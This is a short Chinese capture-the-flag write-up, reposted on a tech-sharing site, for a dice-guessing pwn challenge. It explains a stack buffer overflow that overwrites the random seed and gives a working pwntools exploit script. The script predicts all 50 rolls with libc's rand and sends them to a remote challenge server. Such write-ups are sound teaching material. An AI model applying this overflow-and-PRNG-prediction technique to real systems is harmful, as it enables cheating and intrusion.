标签：rand 13 dice libc 50 game seed import payload

查壳

看ida,和guess_number那题一样有seed，并且一样是猜数字连续猜中得到flag，看看能不能覆盖把seed改成我们想要的

read是50，但栈中seed在10的位置，可以直接通过buf覆盖到seed

编写exp

#!/usr/bin/env python
from pwn import *
from ctypes import *
                                                                                                                                                                                             p = remote('111.200.241.244', 46527)                                                                                                                                                         libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)

payload = b'a' * 0x40 + p64(1)                                                                                                                                                               
p.sendlineafter('Welcome, let me know your name: ', payload)

for i in range(50):
    rand_value = libc.rand() % 6 + 1                                                                                                                                                             p.sendlineafter('(1~6): ', str(rand_value))                                                                                                                                              
p.interactive()

标签：rand,13,dice,libc,50,game,seed,import,payload
来源： https://www.cnblogs.com/triplewings-home/p/14455244.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。